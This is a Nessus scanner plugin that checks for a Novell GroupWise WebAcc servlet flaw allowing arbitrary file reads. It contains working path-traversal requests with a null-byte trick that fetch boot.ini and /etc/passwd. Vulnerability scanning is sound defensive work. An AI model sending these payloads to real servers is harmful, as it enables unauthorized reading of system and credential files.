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#
# Copyright 2001 by Noam Rathaus <noamr@securiteam.com>
#
# See the Nessus Scripts License for details
#
#
if(description)
{
script_id(10789);
name["english"] = "Novell Groupwise WebAcc Information Disclosure";
script_name(english:name["english"]);
desc["english"] = "
Novell Groupwise WebAcc Servlet is installed. This servlet exposes
critical system information, and allows remote attackers to read any file.
Solution: Disable access to the servlet until the author releases a patch.
Risk factor : High
Additional information:
http://www.securiteam.com/securitynews/6S00N0K2UM.html";
script_description(english:desc["english"]);
summary["english"] = "Novell Groupwise WebAcc Information Disclosure";
script_summary(english:summary["english"]);
script_category(ACT_GATHER_INFO);
script_copyright(english:"This script is Copyright (C) 2001 SecuriTeam");
family["english"] = "CGI abuses";
script_family(english:family["english"]);
script_dependencie("find_service.nes", "no404.nasl");
script_require_ports("Services/www", 80);
exit(0);
}
#
# The script code starts here
#
url = string("/servlet/webacc");
port = is_cgi_installed(url);
if (port)
{
# test NT systems
req = string("GET /servlet/webacc?User.html=../../../../../../../../../../../../../../../../../../boot.ini%00 HTTP/1.0\r\n");
req = string(req, "User-Agent: Mozilla/7 [en] (X11; U; Linux 2.6.1 ia64)\r\n");
req = string(req, "Host: ", get_host_name(), "\r\n\r\n");
soc = open_sock_tcp(port);
if (soc)
{
send(socket:soc, data:req);
buf = recv(socket:soc, length:1000);
if ("[boot loader]" >< buf)
{
security_hole(port:port);
exit(0);
}
}
close(soc);
# test unix systems
req = string("GET /servlet/webacc?User.html=../../../../../../../../../../../../../../../../../../etc/passwd%00 HTTP/1.0\r\n");
req = string(req, "User-Agent: Mozilla/7 [en] (X11; U; Linux 2.6.1 ia64)\r\n");
req = string(req, "Host: ", get_host_name(), "\r\n\r\n");
soc = open_sock_tcp(port);
if (soc)
{
send(socket:soc, data:req);
buf = recv(socket:soc, length:1000);
if ("root:" >< buf)
{
security_hole(port:port);
exit(0);
}
if("File does not exist" >< buf)
{
security_note(port:port);
}
}
close(soc);
}
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